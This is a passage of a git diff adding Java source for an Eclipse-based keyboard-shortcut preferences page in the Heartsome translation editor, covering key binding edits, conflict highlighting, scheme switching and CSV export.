propertyChange(PropertyChangeEvent event) { + if (event.getSource() == bindingModel && CommonModel.PROP_SELECTED_ELEMENT.equals(event.getProperty())) { + BindingElement binding = (BindingElement) event.getNewValue(); +// Bug #2740 + if (binding == null || binding.getTrigger() == null) { + conflictModel.setSelectedElement(null); + return; + } + conflictModel.setSelectedElement(binding); + ContextElement context = binding.getContext(); + if (context != null) { + contextModel.setSelectedElement(context); + } + } + } + }); + } + + private void addSetConflictListener() { + addPropertyChangeListener(new IPropertyChangeListener() { + public void propertyChange(PropertyChangeEvent event) { + if (event.getSource() == conflictModel && CommonModel.PROP_SELECTED_ELEMENT.equals(event.getProperty())) { + if (event.getNewValue() != null) { + bindingModel.setSelectedElement((ModelElement) event.getNewValue()); + } + } + } + }); + } + + private void addSetKeySequenceListener() { + addPropertyChangeListener(new IPropertyChangeListener() { + public void propertyChange(PropertyChangeEvent event) { + if (BindingElement.PROP_TRIGGER.equals(event.getProperty())) { +// Bug #2740 + if (((KeySequence) event.getNewValue()) != null) { + if (((KeySequence) event.getNewValue()).toString().endsWith("+")) { + return; + } else { + updateTrigger((BindingElement) event.getSource(), (KeySequence) event.getOldValue(), + (KeySequence) event.getNewValue()); + } + } + } + } + }); + } + + private void addSetModelObjectListener() { + addPropertyChangeListener(new IPropertyChangeListener() { + public void propertyChange(PropertyChangeEvent event) { + if (event.getSource() instanceof BindingElement + && ModelElement.PROP_MODEL_OBJECT.equals(event.getProperty())) { + if (event.getNewValue() != null) { + BindingElement element = (BindingElement) event.getSource(); + Object oldValue = event.getOldValue(); + Object newValue = event.getNewValue(); +// Bug #2740 å¿«æ·é”®--å¿«æ·é”®è®¾ç½®é—®é¢˜ + if (oldValue instanceof Binding && newValue instanceof Binding) { + conflictModel.updateConflictsFor(element, ((Binding) oldValue).getTriggerSequence(), + ((Binding) newValue).getTriggerSequence(), false); + } else if (oldValue instanceof Binding) { + conflictModel.updateConflictsFor(element, ((Binding) oldValue).getTriggerSequence(), + null, false); + } else if (newValue instanceof Binding) { + conflictModel.updateConflictsFor(element, null, + ((Binding) newValue).getTriggerSequence(), false); + } else { + conflictModel.updateConflictsFor(element, false); + } + + ContextElement context = element.getContext(); + if (context != null) { + contextModel.setSelectedElement(context); + } + } + } + } + }); + } + + private void addSetSchemeListener() { + addPropertyChangeListener(new IPropertyChangeListener() { + public void propertyChange(PropertyChangeEvent event) { + if (event.getSource() == fSchemeModel && CommonModel.PROP_SELECTED_ELEMENT.equals(event.getProperty())) { + changeScheme((SchemeElement) event.getOldValue(), (SchemeElement) event.getNewValue()); + } + } + }); + } + + /** + * @param oldScheme + * @param newScheme + */ + protected void changeScheme(SchemeElement oldScheme, SchemeElement newScheme) { + if (newScheme == null || newScheme.getModelObject() == fBindingManager.getActiveScheme()) { + return; + } + try { + fBindingManager.setActiveScheme((Scheme) newScheme.getModelObject()); + bindingModel.refresh(contextModel); + bindingModel.setSelectedElement(null); + } catch (NotDefinedException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + + } + + private void updateBindingContext(ContextElement context) { + if (context == null) { + return; + } + BindingElement activeBinding = (BindingElement) bindingModel.getSelectedElement(); + if (activeBinding == null) { + return; + } + String activeSchemeId = fSchemeModel.getSelectedElement().getId(); + Object obj = activeBinding.getModelObject(); + if (obj instanceof KeyBinding) { + KeyBinding keyBinding = (KeyBinding) obj; + if (!keyBinding.getContextId().equals(context.getId())) { + final KeyBinding binding = new KeyBinding(keyBinding.getKeySequence(), + keyBinding.getParameterizedCommand(), activeSchemeId, context.getId(), null, null, null, + Binding.USER); + if (keyBinding.getType() == Binding.USER) { + fBindingManager.removeBinding(keyBinding); + } else { + fBindingManager.addBinding(new KeyBinding(keyBinding.getKeySequence(), null, keyBinding + .getSchemeId(), keyBinding.getContextId(), null, null, null, Binding.USER)); + } + bindingModel.getBindingToElement().remove(activeBinding.getModelObject()); + + fBindingManager.addBinding(binding); + activeBinding.fill(binding, contextModel); + bindingModel.getBindingToElement().put(binding, activeBinding); + } + } + } + + /** + * @param activeBinding + * @param oldSequence + * @param keySequence + */ + public void updateTrigger(BindingElement activeBinding, KeySequence oldSequence, KeySequence keySequence) { + if (activeBinding == null) { + return; + } + Object obj = activeBinding.getModelObject(); + if (obj instanceof KeyBinding) { + KeyBinding keyBinding = (KeyBinding) obj; + if (!keyBinding.getKeySequence().equals(keySequence)) { + if (keySequence != null && !keySequence.isEmpty()) { + String activeSchemeId = fSchemeModel.getSelectedElement().getId(); + ModelElement selectedElement = contextModel.getSelectedElement(); + String activeContextId = selectedElement == null ? IContextService.CONTEXT_ID_WINDOW + : selectedElement.getId(); + final KeyBinding binding = new KeyBinding(keySequence, keyBinding.getParameterizedCommand(), + activeSchemeId, activeContextId, null, null, null, Binding.USER); + Map bindingToElement = bindingModel.getBindingToElement(); + bindingToElement.remove(keyBinding); + if (keyBinding.getType() == Binding.USER) { + fBindingManager.removeBinding(keyBinding); + } else { + fBindingManager.addBinding(new KeyBinding(keyBinding.getKeySequence(), null, keyBinding + .getSchemeId(), keyBinding.getContextId(), null, null, null, Binding.USER)); + } + + fBindingManager.addBinding(binding); + activeBinding.fill(binding, contextModel); + bindingModel.getBindingToElement().put(binding, activeBinding); + + // Remove binding for any system conflicts +// Object[] keys = bindingToElement.keySet().toArray(); +// for (int i = 0; i < keys.length; i++) { +// Binding bindingKey = (Binding) keys[i]; +// if (oldSequence.equals(bindingKey.getTriggerSequence()) +// && bindingKey.getType() == Binding.SYSTEM) { +// BindingElement be = (BindingElement) bindingToElement.get(bindingKey); +// bindingModel.remove(be); +// } +// } + + bindingModel.setSelectedElement(activeBinding); + } else { + bindingModel.getBindingToElement().remove(keyBinding); + if (keyBinding.getType() == Binding.USER) { + fBindingManager.removeBinding(keyBinding); + } else { + fBindingManager.addBinding(new KeyBinding(keyBinding.getKeySequence(), null, keyBinding + .getSchemeId(), keyBinding.getContextId(), null, null, null, Binding.USER)); + } + activeBinding.fill(keyBinding.getParameterizedCommand()); + } + } + } else if (obj instanceof ParameterizedCommand) { + ParameterizedCommand cmd = (ParameterizedCommand) obj; + if (keySequence != null && !keySequence.isEmpty()) { + String activeSchemeId = fSchemeModel.getSelectedElement().getId(); + ModelElement selectedElement = contextModel.getSelectedElement(); + String activeContextId = selectedElement == null ? IContextService.CONTEXT_ID_WINDOW : selectedElement + .getId(); + final KeyBinding binding = new KeyBinding(keySequence, cmd, activeSchemeId, activeContextId, null, + null, null, Binding.USER); + fBindingManager.addBinding(binding); + activeBinding.fill(binding, contextModel); + bindingModel.getBindingToElement().put(binding, activeBinding); + } + } + } + + /** + * Replaces all the current bindings with the bindings in the local copy of the binding manager. + * @param bindingService + * The binding service that saves the changes made to the local copy of the binding manager + */ + public void saveBindings(IBindingService bindingService) { + try { + bindingService.savePreferences(fBindingManager.getActiveScheme(), fBindingManager.getBindings()); + } catch (IOException e) { + logPreferenceStoreException(e); + } + } + + /** + * Logs the given exception, and opens an error dialog saying that something went wrong. The exception is assumed to + * have something to do with the preference store. + * @param exception + * The exception to be logged; must not be null. + */ + private final void logPreferenceStoreException(final Throwable exception) { + final String message = NewKeysPreferenceMessages.PreferenceStoreError_Message; + String exceptionMessage = exception.getMessage(); + if (exceptionMessage == null) { + exceptionMessage = message; + } + final IStatus status = new Status(IStatus.ERROR, WorkbenchPlugin.PI_WORKBENCH, 0, exceptionMessage, exception); + WorkbenchPlugin.log(message, status); + StatusUtil.handleStatus(message, exception, StatusManager.SHOW); + } + + /** + * Filters contexts for the When Combo. + * @param actionSets + * true to filter action set contexts + * @param internal + * true to filter internal contexts + * @param workbenchMenu + * true to filter Workbench Menu Context + */ + public void filterContexts(boolean actionSets, boolean internal, boolean workbenchMenu) { + contextModel.filterContexts(actionSets, internal, workbenchMenu); + } + + /** + * Sets the bindings to default. + * @param bindingService + * @throws NotDefinedException + */ + public void setDefaultBindings(IBindingService bindingService, List lstRemove) throws NotDefinedException { + // Fix the scheme in the local changes. + final String defaultSchemeId = bindingService.getDefaultSchemeId(); + final Scheme defaultScheme = fBindingManager.getScheme(defaultSchemeId); + try { + fBindingManager.setActiveScheme(defaultScheme); + } catch (final NotDefinedException e) { + // At least we tried.... + } + + // Restore any User defined bindings + Binding[] bindings = fBindingManager.getBindings(); + for (int i = 0; i < bindings.length; i++) { + ParameterizedCommand pCommand = bindings[i].getParameterizedCommand(); + String commandId = null; + if (pCommand != null) { + commandId = pCommand.getCommand().getId(); + } + if (bindings[i].getType() == Binding.USER || (commandId != null && lstRemove.contains(commandId))) { + fBindingManager.removeBinding(bindings[i]); + } + } + bindingModel.refresh(contextModel, lstRemove); + saveBindings(bindingService); + } + + public void exportCSV(Shell shell) { + final FileDialog fileDialog = new FileDialog(shell, SWT.SAVE | SWT.SHEET); + fileDialog.setFilterExtensions(new String[] { "*.csv" }); //$NON-NLS-1$ + fileDialog.setFilterNames(new String[] { Util.translateString(RESOURCE_BUNDLE, "csvFilterName") }); //$NON-NLS-1$ + fileDialog.setOverwrite(true); + final String filePath = fileDialog.open(); + if (filePath == null) { + return; + } + + final SafeRunnable runnable = new SafeRunnable() { + public final void run() throws IOException { + Writer fileWriter = null; + try { + fileWriter = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(filePath), "UTF-8")); //$NON-NLS-1$ + final Object[] bindingElements = bindingModel.getBindings().toArray(); + for (int i = 0; i < bindingElements.length; i++) { + final BindingElement be = (BindingElement) bindingElements[i]; + if (be.getTrigger() == null || be.getTrigger().isEmpty() || be.getContext() == null + || be.getContext().getName() == null) { + continue; + } + StringBuffer buffer = new StringBuffer(); + buffer.append(ESCAPED_QUOTE + Util.replaceAll(be.getCategory(), ESCAPED_QUOTE, REPLACEMENT) + + ESCAPED_QUOTE + DELIMITER); + buffer.append(ESCAPED_QUOTE + be.getName() + ESCAPED_QUOTE + DELIMITER); + buffer.append(ESCAPED_QUOTE + be.getTrigger().format() + ESCAPED_QUOTE + DELIMITER); + buffer.append(ESCAPED_QUOTE + be.getContext().getName() + ESCAPED_QUOTE); + buffer.append(System.getProperty("line.separator")); //$NON-NLS-1$ + fileWriter.write(buffer.toString()); + } + + } finally { + if (fileWriter != null) { + try { + fileWriter.close(); + } catch (final IOException e) { + // At least I tried. + } + } + + } + } + }; + SafeRunner.run(runnable); + } + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/key/KeysPreferencePage.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/key/KeysPreferencePage.java new file mode 100644 index 0000000..4840920 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/key/KeysPreferencePage.java @@ -0,0 +1,883 @@ +package net.heartsome.cat.te.ui.preferencepage.key; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashSet; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.te.ui.Activator; +import net.heartsome.cat.te.ui.Constants; +import net.heartsome.cat.te.ui.ImageConstants; +import net.heartsome.cat.te.ui.resource.Messages; + + +import org.eclipse.core.commands.Category; +import org.eclipse.core.commands.ParameterizedCommand; +import org.eclipse.core.commands.common.NotDefinedException; +import org.eclipse.core.commands.util.Tracing; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.bindings.Binding; +import org.eclipse.jface.bindings.TriggerSequence; +import org.eclipse.jface.bindings.keys.KeySequence; +import org.eclipse.jface.bindings.keys.KeySequenceText; +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.jface.resource.DeviceResourceException; +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.resource.LocalResourceManager; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; +import org.eclipse.jface.viewers.CellEditor; +import org.eclipse.jface.viewers.ColumnViewer; +import org.eclipse.jface.viewers.EditingSupport; +import org.eclipse.jface.viewers.IBaseLabelProvider; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.ITreeContentProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TextCellEditor; +import org.eclipse.jface.viewers.TreeViewer; +import org.eclipse.jface.viewers.TreeViewerColumn; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.jface.viewers.ViewerComparator; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.FocusListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Text; +import org.eclipse.swt.widgets.Tree; +import org.eclipse.swt.widgets.TreeColumn; +import org.eclipse.swt.widgets.TreeItem; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferenceConstants; +import org.eclipse.ui.IWorkbenchPreferencePage; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.commands.ICommandImageService; +import org.eclipse.ui.commands.ICommandService; +import org.eclipse.ui.dialogs.FilteredTree; +import org.eclipse.ui.internal.IWorkbenchHelpContextIds; +import org.eclipse.ui.internal.WorkbenchPlugin; +import org.eclipse.ui.internal.keys.NewKeysPreferenceMessages; +import org.eclipse.ui.internal.keys.model.BindingElement; +import org.eclipse.ui.internal.keys.model.BindingModel; +import org.eclipse.ui.internal.keys.model.CommonModel; +import org.eclipse.ui.internal.keys.model.ContextModel; +import org.eclipse.ui.internal.keys.model.ModelElement; +import org.eclipse.ui.internal.keys.model.SchemeModel; +import org.eclipse.ui.internal.misc.Policy; +import org.eclipse.ui.internal.util.Util; +import org.eclipse.ui.keys.IBindingService; + +/** + * å¿«æ·é”®é¦–选项页é¢ï¼Œè¯¥ç±»ä¸Ž org.eclipse.ui.internal.keys.NewKeysPreferencePage 类似,åªæ˜¯åœ¨åŽŸæ¥çš„基础上修改了界é¢ã€‚ + * @author peason + * @version + * @since JDK1.6 + */ +@SuppressWarnings({ "restriction", "unchecked", "rawtypes", "unused" }) +public class KeysPreferencePage extends PreferencePage implements IWorkbenchPreferencePage { + + private static boolean DEBUG = Policy.DEBUG_KEY_BINDINGS; + + private static final String TRACING_COMPONENT = "NewKeysPref"; + + public final static String TAG_DIALOG_SECTION = "org.eclipse.ui.preferences.keysPreferencePage"; + + private static final String TAG_FILTER_ACTION_SETS = "actionSetFilter"; //$NON-NLS-1$ + + private static final String TAG_FILTER_INTERNAL = "internalFilter"; //$NON-NLS-1$ + + private static final String TAG_FILTER_UNCAT = "uncategorizedFilter"; //$NON-NLS-1$ + + private boolean fFilterActionSetContexts = true; + + private boolean fFilterInternalContexts = true; + + private CategoryPatternFilter fPatternFilter; + + private CategoryFilterTree fFilteredTree; + + private Category fDefaultCategory; + + /** + * The number of items to show in the bindings table tree. + */ + private static final int ITEMS_TO_SHOW = 7; + + private static final int COMMAND_NAME_COLUMN = 0; + private static final int KEY_SEQUENCE_COLUMN = 1; + private static final int CATEGORY_COLUMN = 2; + private static int NUM_OF_COLUMNS = CATEGORY_COLUMN + 1; + + private KeyController2 keyController; + + private ICommandImageService commandImageService; + + private ICommandService commandService; + + private IBindingService fBindingService; + + private KeySequenceText fKeySequenceText; + + private TreeViewer viewer; + + protected class CategoryFilterTree extends FilteredTree { + + private CategoryPatternFilter filter; + + /** + * Constructor for PatternFilteredTree. + * @param parent + * @param treeStyle + * @param filter + */ + protected CategoryFilterTree(Composite parent, int treeStyle, CategoryPatternFilter filter) { + super(parent, treeStyle, filter, true); + this.filter = filter; + } + + public void filterCategories(boolean b) { + filter.filterCategories(b); + textChanged(); + } + + public boolean isFilteringCategories() { + return filter.isFilteringCategories(); + } + } + + private final class BindingModelComparator extends ViewerComparator { + private LinkedList sortColumns = new LinkedList(); + private boolean ascending = true; + + public BindingModelComparator() { + for (int i = 0; i < NUM_OF_COLUMNS; i++) { + sortColumns.add(new Integer(i)); + } + } + + public int getSortColumn() { + return ((Integer) sortColumns.getFirst()).intValue(); + } + + public void setSortColumn(int column) { + if (column == getSortColumn()) { + return; + } + Integer sortColumn = new Integer(column); + sortColumns.remove(sortColumn); + sortColumns.addFirst(sortColumn); + } + + /** + * @return Returns the ascending. + */ + public boolean isAscending() { + return ascending; + } + + /** + * @param ascending + * The ascending to set. + */ + public void setAscending(boolean ascending) { + this.ascending = ascending; + } + + public final int compare(final Viewer viewer, final Object a, final Object b) { + int result = 0; + Iterator i = sortColumns.iterator(); + while (i.hasNext() && result == 0) { + int column = ((Integer) i.next()).intValue(); + result = compareColumn(viewer, a, b, column); + } + return ascending ? result : (-1) * result; + } + + private int compareColumn(final Viewer viewer, final Object a, final Object b, final int columnNumber) { + // if (columnNumber == CATEGORY_COLUMN) { + // return sortUser(a, b); + // } + IBaseLabelProvider baseLabel = ((TreeViewer) viewer).getLabelProvider(); + if (baseLabel instanceof ITableLabelProvider) { + ITableLabelProvider tableProvider = (ITableLabelProvider) baseLabel; + String e1p = tableProvider.getColumnText(a, columnNumber); + String e2p = tableProvider.getColumnText(b, columnNumber); + if (e1p != null && e2p != null) { + return getComparator().compare(e1p, e2p); + } + } + return 0; + } + + private int sortUser(final Object a, final Object b) { + int typeA = ((BindingElement) a).getUserDelta().intValue(); + int typeB = ((BindingElement) b).getUserDelta().intValue(); + int result = typeA - typeB; + return result; + } + + } + + private final class ResortColumn extends SelectionAdapter { + private final BindingModelComparator comparator; + private final TreeColumn treeColumn; + private final TreeViewer viewer; + private final int column; + + private ResortColumn(BindingModelComparator comparator, TreeColumn treeColumn, TreeViewer viewer, int column) { + this.comparator = comparator; + this.treeColumn = treeColumn; + this.viewer = viewer; + this.column = column; + } + + public void widgetSelected(SelectionEvent e) { + if (comparator.getSortColumn() == column) { + comparator.setAscending(!comparator.isAscending()); + viewer.getTree().setSortDirection(comparator.isAscending() ? SWT.UP : SWT.DOWN); + } else { + viewer.getTree().setSortColumn(treeColumn); + comparator.setSortColumn(column); + } + try { + viewer.getTree().setRedraw(false); + viewer.refresh(); + changeBackground(); + } finally { + viewer.getTree().setRedraw(true); + } + } + } + + private void changeBackground() { + for (TreeItem item : viewer.getTree().getItems()) { + BindingElement element = (BindingElement) item.getData(); + if (element.getConflict()) { + item.setBackground(Display.getDefault().getSystemColor(SWT.COLOR_RED)); + } else { + item.setBackground(null); + } + } + } + + private List lstRemove = Constants.lstRemove; + + class ModelContentProvider implements ITreeContentProvider { + public Object[] getChildren(Object parentElement) { + if (parentElement instanceof BindingModel) { + HashSet set = ((BindingModel) parentElement).getBindings(); + Iterator iterator = set.iterator(); + while (iterator.hasNext()) { + BindingElement bindingElement = iterator.next(); + if (lstRemove.contains(bindingElement.getId())){ +// bindingElement.setTrigger(null); + + iterator.remove(); + } + + } + return set.toArray(); + } + if (parentElement instanceof ContextModel) { + return ((ContextModel) parentElement).getContexts().toArray(); + } + if (parentElement instanceof SchemeModel) { + return ((SchemeModel) parentElement).getSchemes().toArray(); + } + if (parentElement instanceof BindingElement) { + BindingElement bindingElement = (BindingElement) parentElement; + if (lstRemove.contains(bindingElement.getId())){ +// bindingElement.setTrigger(null); + return new Object[0]; + } else { + return new BindingElement[]{bindingElement}; + } + } + return new Object[0]; + } + + public Object getParent(Object element) { + return ((ModelElement) element).getParent(); + } + + public boolean hasChildren(Object element) { + return (element instanceof BindingModel) || (element instanceof ContextModel) + || (element instanceof SchemeModel); + } + + public Object[] getElements(Object inputElement) { + return getChildren(inputElement); + } + + public void dispose() { + } + + public void inputChanged(Viewer viewer, Object oldInput, Object newInput) { + } + + } + + private class BindingElementLabelProvider extends LabelProvider implements ITableLabelProvider { + /** + * A resource manager for this preference page. + */ + private final LocalResourceManager localResourceManager = new LocalResourceManager( + JFaceResources.getResources()); + + public final void dispose() { + super.dispose(); + localResourceManager.dispose(); + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.viewers.LabelProvider#getText(java.lang.Object) + */ + public String getText(Object element) { + String rc = getColumnText(element, 0); + if (rc == null) { + super.getText(element); + } + StringBuffer buf = new StringBuffer(rc); + for (int i = 1; i < CATEGORY_COLUMN; i++) { + String text = getColumnText(element, i); + if (text != null) { + buf.append(' '); + buf.append(text); + } + } + return buf.toString(); + } + + public String getColumnText(Object element, int index) { + BindingElement bindingElement = ((BindingElement) element); + switch (index) { + case COMMAND_NAME_COLUMN: {// name + String name = bindingElement.getName(); + if (name != null && name.endsWith("()")) { + name = name.substring(0, name.length() - 2); + } + return name; + } + case KEY_SEQUENCE_COLUMN: // keys + TriggerSequence seq = bindingElement.getTrigger(); + return seq == null ? Util.ZERO_LENGTH_STRING : seq.format(); + case CATEGORY_COLUMN: // category + String id = bindingElement.getId(); + if (id.equalsIgnoreCase("net.heartsome.cat.ts.command.preference")) { + return Messages.getString("preferencepage.KeysPreferencePage.toolCategory"); + } else if (id.equalsIgnoreCase("org.eclipse.ui.window.lockToolBar")) { + return Messages.getString("preferencepage.KeysPreferencePage.toolbarCategory"); + } else if (id.equalsIgnoreCase("org.eclipse.ui.window.showKeyAssist")) { + return Messages.getString("preferencepage.KeysPreferencePage.helpCategory"); + } + return bindingElement.getCategory(); + } + return null; + } + + public Image getColumnImage(Object element, int index) { + BindingElement be = (BindingElement) element; + switch (index) { + case COMMAND_NAME_COLUMN: + final String commandId = be.getId(); + final ImageDescriptor imageDescriptor = commandImageService.getImageDescriptor(commandId); + if (imageDescriptor == null) { + return null; + } + try { + return localResourceManager.createImage(imageDescriptor); + } catch (final DeviceResourceException e) { + final String message = "Problem retrieving image for a command '" //$NON-NLS-1$ + + commandId + '\''; + final IStatus status = new Status(IStatus.ERROR, WorkbenchPlugin.PI_WORKBENCH, 0, message, e); + WorkbenchPlugin.log(message, status); + } + return null; + } + + return null; + } + } + + private BindingModel model; + + public void init(IWorkbench workbench) { + keyController = new KeyController2(); + keyController.init(workbench, lstRemove); + model = keyController.getBindingModel(); + + commandService = (ICommandService) workbench.getService(ICommandService.class); + Collection definedCommandIds = commandService.getDefinedCommandIds(); + + fDefaultCategory = commandService.getCategory(null); + fBindingService = (IBindingService) workbench.getService(IBindingService.class); + + commandImageService = (ICommandImageService) workbench.getService(ICommandImageService.class); + } + + @Override + protected Control createContents(Composite parent) { + PlatformUI.getWorkbench().getHelpSystem().setHelp(parent, IWorkbenchHelpContextIds.KEYS_PREFERENCE_PAGE); + final Composite page = new Composite(parent, SWT.NONE); + GridLayout layout = new GridLayout(1, false); + layout.marginWidth = 0; + page.setLayout(layout); + + Group groupParent = new Group(page, SWT.None); + groupParent.setLayout(new GridLayout()); + groupParent.setLayoutData(new GridData(GridData.FILL_BOTH)); + groupParent.setText(Messages.getString("preferencepage.KeysPreferencePage.groupParent")); + + HsImageLabel imageLabel = new HsImageLabel(Messages.getString("preferencepage.KeysPreferencePage.imageLabel"), + Activator.getImageDescriptor(ImageConstants.PREFERENCE_SYS_KEY)); + Composite cmp = imageLabel.createControl(groupParent); + cmp.setLayout(new GridLayout()); + Composite cmpTemp = (Composite) imageLabel.getControl(); + cmpTemp.setLayoutData(new GridData(GridData.FILL_BOTH)); + Composite cmpContent = new Composite(cmpTemp, SWT.None); + cmpContent.setLayout(new GridLayout()); + GridData data = new GridData(GridData.FILL_BOTH); + data.horizontalSpan = 2; + cmpContent.setLayoutData(data); + + // ä¸æ˜¾ç¤ºè¿‡æ»¤æ–‡æœ¬æ¡† + PlatformUI.getPreferenceStore().setDefault(IWorkbenchPreferenceConstants.SHOW_FILTERED_TEXTS, false); + + IDialogSettings settings = getDialogSettings(); + + fPatternFilter = new CategoryPatternFilter(true, commandService.getCategory(null)); + if (settings.get(TAG_FILTER_UNCAT) != null) { + fPatternFilter.filterCategories(settings.getBoolean(TAG_FILTER_UNCAT)); + } + + createTree(cmpContent); + + fill(); + + applyDialogFont(cmpContent); + imageLabel.computeSize(); + return page; + } + + private void fill() { + // Apply context filters + keyController.filterContexts(true, true, true); + + fFilteredTree.filterCategories(fPatternFilter.isFilteringCategories()); + + fFilteredTree.getViewer().setInput(model); + changeBackground(); + } + + private void createTree(Composite parent) { + fPatternFilter = new CategoryPatternFilter(true, fDefaultCategory); + fPatternFilter.filterCategories(true); + + GridData gridData; + + fFilteredTree = new CategoryFilterTree(parent, SWT.SINGLE | SWT.BORDER | SWT.FULL_SELECTION, fPatternFilter); + final GridLayout layout = new GridLayout(1, false); + layout.marginWidth = 0; + fFilteredTree.setLayout(layout); + gridData = new GridData(); + gridData.grabExcessHorizontalSpace = true; + gridData.grabExcessVerticalSpace = true; + gridData.horizontalAlignment = SWT.FILL; + gridData.verticalAlignment = SWT.FILL; + fFilteredTree.setLayoutData(gridData); + + viewer = fFilteredTree.getViewer(); + // Make sure the filtered tree has a height of ITEMS_TO_SHOW + final Tree tree = viewer.getTree(); + tree.setHeaderVisible(true); + final Object layoutData = tree.getLayoutData(); + if (layoutData instanceof GridData) { + gridData = (GridData) layoutData; + final int itemHeight = tree.getItemHeight(); + if (itemHeight > 1) { + gridData.heightHint = ITEMS_TO_SHOW * itemHeight; + } + } + + BindingModelComparator comparator = new BindingModelComparator(); + comparator.setSortColumn(2); + viewer.setComparator(comparator); + + final TreeColumn commandNameColumn = new TreeColumn(tree, SWT.LEFT, COMMAND_NAME_COLUMN); + commandNameColumn.setText(Messages.getString("preferencepage.KeysPreferencePage.commandNameColumn")); + tree.setSortColumn(commandNameColumn); + tree.setSortDirection(comparator.isAscending() ? SWT.UP : SWT.DOWN); + commandNameColumn.addSelectionListener(new ResortColumn(comparator, commandNameColumn, viewer, + COMMAND_NAME_COLUMN)); + + final TreeViewerColumn triggerSequenceColumn = new TreeViewerColumn(viewer, SWT.LEFT, KEY_SEQUENCE_COLUMN); + triggerSequenceColumn.getColumn().setText( + Messages.getString("preferencepage.KeysPreferencePage.triggerSequenceColumn")); + triggerSequenceColumn.getColumn().addSelectionListener( + new ResortColumn(comparator, triggerSequenceColumn.getColumn(), viewer, KEY_SEQUENCE_COLUMN)); + triggerSequenceColumn.setEditingSupport(new TableViewerEditingSupport(viewer, 1)); + + final TreeColumn categoryColumn = new TreeColumn(tree, SWT.LEFT, CATEGORY_COLUMN); + categoryColumn.setText(Messages.getString("preferencepage.KeysPreferencePage.categoryColumn")); + categoryColumn.addSelectionListener(new ResortColumn(comparator, categoryColumn, viewer, CATEGORY_COLUMN)); + + viewer.setContentProvider(new ModelContentProvider()); + viewer.setLabelProvider(new BindingElementLabelProvider()); + + fFilteredTree.getPatternFilter().setIncludeLeadingWildcard(true); + final TreeColumn[] columns = viewer.getTree().getColumns(); + + columns[COMMAND_NAME_COLUMN].setWidth(240); + columns[KEY_SEQUENCE_COLUMN].setWidth(130); + columns[CATEGORY_COLUMN].setWidth(130); + + viewer.addSelectionChangedListener(new ISelectionChangedListener() { + + // When the viewer changes selection, update the model's current + // selection + public void selectionChanged(SelectionChangedEvent event) { + changeBackground(); + ModelElement binding = (ModelElement) ((IStructuredSelection) event.getSelection()).getFirstElement(); + model.setSelectedElement(binding); + } + }); + + IPropertyChangeListener treeUpdateListener = new IPropertyChangeListener() { + + // When the model changes a property, update the viewer + public void propertyChange(PropertyChangeEvent event) { + if (event.getSource() == model + && CommonModel.PROP_SELECTED_ELEMENT.equals(event.getProperty())) { + Object newVal = event.getNewValue(); + StructuredSelection structuredSelection = newVal == null ? null : new StructuredSelection(newVal); + viewer.setSelection(structuredSelection, true); + } else if (event.getSource() instanceof BindingElement + && ModelElement.PROP_MODEL_OBJECT.equals(event.getProperty())) { + viewer.update(event.getSource(), null); + } else if (BindingElement.PROP_CONFLICT.equals(event.getProperty())) { + viewer.update(event.getSource(), null); + } else if (BindingModel.PROP_BINDINGS.equals(event.getProperty())) { + // viewer.refresh(); + } else if (BindingModel.PROP_BINDING_ADD.equals(event.getProperty())) { + viewer.add(model, event.getNewValue()); + } else if (BindingModel.PROP_BINDING_REMOVE.equals(event.getProperty())) { + viewer.remove(event.getNewValue()); + } else if (BindingModel.PROP_BINDING_FILTER.equals(event.getProperty())) { + // viewer.refresh(); + } + changeBackground(); + // isValid(); + } + }; + keyController.addPropertyChangeListener(treeUpdateListener); + + // IPropertyChangeListener conflictsListener = new IPropertyChangeListener() { + // public void propertyChange(PropertyChangeEvent event) { + // // System.out.println(event.getNewValue().getClass()); + // if (keyController.getConflictModel().getConflicts() != null) { + // if (ConflictModel.PROP_CONFLICTS.equals(event.getProperty())) { + // // lstConflict.clear(); + // if (event.getNewValue() != null) { + // lstConflict.addAll((Collection) event.getNewValue()); + // } + // // conflictViewer.setInput(event.getNewValue()); + // } else if (ConflictModel.PROP_CONFLICTS_ADD.equals(event.getProperty())) { + // if (event.getNewValue() != null) { + // lstConflict.add(event.getNewValue()); + // } + // // conflictViewer.add(event.getNewValue()); + // } else if (ConflictModel.PROP_CONFLICTS_REMOVE.equals(event.getProperty())) { + // // conflictViewer.remove(event.getNewValue()); + // if (event.getNewValue() != null) { + // lstConflict.remove(event.getNewValue()); + // } + // } + // } else { + // 